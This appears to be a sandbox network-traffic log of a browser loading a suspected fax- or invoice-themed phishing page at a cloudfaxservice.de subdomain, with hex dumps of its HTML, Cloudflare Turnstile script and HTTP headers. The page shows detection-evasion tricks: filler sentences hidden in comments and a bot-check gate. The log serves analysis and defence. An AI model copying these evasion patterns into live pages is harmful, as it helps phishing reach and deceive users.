2025-03-14 15:04:46 UTC	363	IN	Data Raw: 31 30 31 66 0d 0a 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 73 6e 6f 77 73 74 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 73 70 61 6e 3e 41 20 70 61 73 73 69 6f 6e 61 74 65 20 67 61 72 64 65 6e 65 72 20 67 72 65 77 20 65 78 6f 74 69 63 20 70 6c 61 6e 74 73 20 69 6e 20 61 20 63 61 72 65 66 75 6c 6c 79 20 6d 61 69 6e 74 61 69 6e 65 64 20 67 72 65 65 6e 68 6f 75 73 65 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 Data Ascii: 101f <html lang="en"> <head> <meta charset="UTF-8"> <title>snowstorm</title> ... <span>A passionate gardener grew exotic plants in a carefully maintained greenhouse.</span> --> <meta name="robots" content="
2025-03-14 15:04:46 UTC	1369	IN	Data Raw: 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 3c 70 3e 54 68 65 20 61 72 63 68 69 74 65 63 74 20 64 65 73 69 67 6e 65 64 20 61 20 73 75 73 74 61 69 6e 61 62 6c 65 20 62 75 69 6c 64 69 6e 67 20 77 69 74 68 20 65 6e 65 72 67 79 2d 65 66 66 69 63 69 65 6e 74 20 66 65 61 74 75 72 65 73 2e 3c 2f 70 3e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2a 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 20 41 20 74 65 61 6d 20 6f 66 20 61 72 63 68 69 74 65 63 74 73 20 72 65 Data Ascii: <script src="https://challenges.cloudflare.com/turnstile/v0/api.js"></script> ... <p>The architect designed a sustainable building with energy-efficient features.</p> --> <style> * /* A team of architects re
2025-03-14 15:04:46 UTC	1369	IN	Data Raw: 69 73 63 6f 76 65 72 65 64 20 61 20 6e 65 77 20 73 70 65 63 69 65 73 20 6f 66 20 6d 61 72 69 6e 65 20 63 72 65 61 74 75 72 65 73 2e 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 77 68 61 6c 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: iscovered a new species of marine creatures. */ font-size: 1rem; margin-bottom: 30px; letter-spacing: 1px; } @media (max-width: 768px) { .whale {
2025-03-14 15:04:46 UTC	1034	IN	Data Raw: 72 20 62 65 73 74 20 66 72 69 65 6e 64 27 73 20 62 69 72 74 68 64 61 79 2e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 30 78 34 41 41 41 41 41 41 41 5f 31 37 52 57 30 6f 69 61 42 56 2d 5f 56 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 62 75 74 74 65 72 63 75 70 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 21 2d 2d 20 41 6e 20 61 73 74 72 6f 6e 6f 6d 65 72 20 64 69 73 63 6f 76 65 72 65 64 20 61 20 64 69 73 74 61 6e 74 20 70 6c 61 6e 65 74 20 6f 72 62 69 74 69 6e 67 20 61 20 64 79 69 6e 67 20 73 74 61 72 2e 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 66 Data Ascii: r best friend's birthday. --> <span class="cf-turnstile" data-sitekey="0x4AAAAAAA_17RW0oiaBV-_V" data-callback="buttercup"> </span>... An astronomer discovered a distant planet orbiting a dying star. --> </f
2025-03-14 15:04:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:46 UTC	599	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:46 UTC	386	IN	HTTP/1.1 302 Found Date: Fri, 14 Mar 2025 15:04:46 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 9204aa5d3cc8b9c5-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:46 UTC	680	OUT	GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:47 UTC	690	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 53 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=600, s-maxage=600 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: text/plain; charset=utf-8 ETag: W/"35-Su9w8wyWNKnBnB1glhnyKiBNAH4" Accept-Ranges: bytes Age: 204 Date: Fri, 14 Mar 2025 15:04:46 GMT X-Served-By: cache-fra-etou8220171-FRA, cache-ewr-kewr1740064-EWR X-Cache: HIT, MISS Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-14 15:04:47 UTC	53	IN	Data Raw: 46 61 69 6c 65 64 20 74 6f 20 66 65 74 63 68 20 76 65 72 73 69 6f 6e 20 69 6e 66 6f 20 66 6f 72 20 70 72 61 6e 61 79 6e 61 6d 6e 61 69 6b 2f 66 69 6c 65 73 2e Data Ascii: Failed to fetch version info for pranaynamnaik/files.

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:47 UTC	614	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:47 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:47 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9204aa610aaec54d-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 76 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 76 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 76 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function Bt(e,t){var a=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,v,h;try{for(a=a.call(e);!(c=(v=a.next()).done)&&(o.push(v.value),!(t&&o.length===t));c=!0)
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 76 26 26 28 76 3d 30 2c 70 5b 30 5d 26 26 28 61 3d 30 29 29 2c 61 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 6c 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 6c 3d 63 2e 72 65 74 75 72 6e 29 26 26 6c 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c Data Ascii: ])}}function s(p){if(o)throw new TypeError("Generator is already executing.");for(;v&&(v=0,p[0]&&(a=0)),a;)try{if(o=1,c&&(l=p[0]&2?c.return:p[0]?c.throw\|\|((l=c.return)&&l.call(c),0):c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.val
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 6a 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 2c 65 2e 4c 69 67 68 74 3d 22 6c 69 67 68 74 22 2c 65 2e 44 61 72 6b 3d 22 64 61 72 6b 22 7d 29 28 6a 65 7c 7c 28 6a 65 3d 7b 7d 29 29 3b 76 61 72 20 43 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 56 65 72 69 66 79 69 6e 67 3d 22 76 65 72 69 66 79 69 6e 67 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 76 65 72 69 66 79 69 6e 67 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 56 65 72 69 66 79 69 6e 67 4f 76 65 72 72 75 6e 3d 22 76 65 72 69 66 79 69 6e 67 2d 6f 76 65 72 72 75 6e 22 2c 65 2e 46 61 69 6c 75 72 65 57 6f 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 66 61 69 6c 75 72 65 2d 77 6f Data Ascii: );var je;(function(e){e.Auto="auto",e.Light="light",e.Dark="dark"})(je\|\|(je={}));var Ce;(function(e){e.Verifying="verifying",e.VerifyingHavingTroubles="verifying-having-troubles",e.VerifyingOverrun="verifying-overrun",e.FailureWoHavingTroubles="failure-wo
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 78 65 63 75 74 65 22 2c 65 2e 41 75 74 6f 45 78 70 69 72 65 3d 22 61 75 74 6f 5f 65 78 70 69 72 65 22 2c 65 2e 41 75 74 6f 54 69 6d 65 6f 75 74 3d 22 61 75 74 6f 5f 74 69 6d 65 6f 75 74 22 2c 65 2e 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 6d 61 6e 75 61 6c 5f 72 65 66 72 65 73 68 22 2c 65 2e 41 70 69 3d 22 61 70 69 22 2c 65 2e 43 68 65 63 6b 44 65 6c 61 79 73 3d 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 2c 65 2e 54 69 6d 65 43 68 65 63 6b 43 61 63 68 65 64 57 61 72 6e 69 6e 67 41 75 78 3d 22 74 69 6d 65 5f 63 68 65 63 6b 5f 63 61 63 68 65 64 5f 77 61 72 6e 69 6e 67 5f 61 75 78 22 2c 65 2e 4a 73 43 6f 6f 6b 69 65 73 4d 69 73 73 69 6e 67 41 75 78 3d 22 6a 73 5f 63 6f 6f 6b 69 65 73 5f 6d 69 73 73 69 6e 67 5f 61 75 78 22 2c 65 2e 52 65 64 69 72 65 63 74 Data Ascii: xecute",e.AutoExpire="auto_expire",e.AutoTimeout="auto_timeout",e.ManualRefresh="manual_refresh",e.Api="api",e.CheckDelays="check_delays",e.TimeCheckCachedWarningAux="time_check_cached_warning_aux",e.JsCookiesMissingAux="js_cookies_missing_aux",e.Redirect
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 4c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 74 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 Data Ascii: rams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&t.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clearanceLevel!=="default"&&t.set("clearance_level",e.params._debugS
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 5f 29 7d 76 61 72 20 53 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 61 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 46 65 65 64 62 61 63 6b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 43 65 2e 46 61 69 6c 75 72 65 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 2c 6c 2c 76 3d 4c 28 4d 72 2c 28 6c 3d 28 74 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 74 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 6c 21 3d 3d 76 6f 69 64 20 30 3f 6c 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c Data Ascii: language,"/").concat(_)}var St=function(e){var t,a,o=window.innerWidth<400,c=e.state===Ce.FailureFeedback\|\|e.state===Ce.FailureHavingTroubles,l,v=L(Mr,(l=(t=e.displayLanguage)===null\|\|t===void 0?void 0:t.toLowerCase())!==null&&l!==void 0?l:"nonexistent"),
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 4f 65 28 65 2c 74 2c 61 29 7b 72 65 74 75 72 6e 20 42 65 28 29 3f 4f 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 4f 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 76 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 6c 29 3b 76 61 72 20 73 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 73 3b 72 65 74 75 72 6e 20 76 26 26 74 65 28 70 2c 76 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 4f 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 Data Ascii: l(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Oe(e,t,a){return Be()?Oe=Reflect.construct:Oe=function(c,l,v){var h=[null];h.push.apply(h,l);var s=Function.bind.apply(c,h),p=new s;return v&&te(p,v.prototype),p},Oe.apply(null,a
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 66 72 28 61 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 58 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 71 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 71 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 71 65 29 2e 63 6f 6e 63 61 74 Data Ascii: r));function g(e,t){var a="[Cloudflare Turnstile] ".concat(e,".");throw new fr(a,t)}function x(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function Xe(e){return e.startsWith(qe)?e.substring(qe.length):null}function $(e){return"".concat(qe).concat
2025-03-14 15:04:47 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 73 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 73 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 73 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 73 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 Data Ascii: height="100vh",s.style.top="0",s.style.left="0",s.style.transformOrigin="center center",s.style.overflowX="hidden",s.style.overflowY="auto",s.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verti

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:48 UTC	855	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://inv18993383.cloudfaxservice.de/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:48 UTC	1297	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 28147 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-v3ySY978DXbgfCkX' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-03-14 15:04:48 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
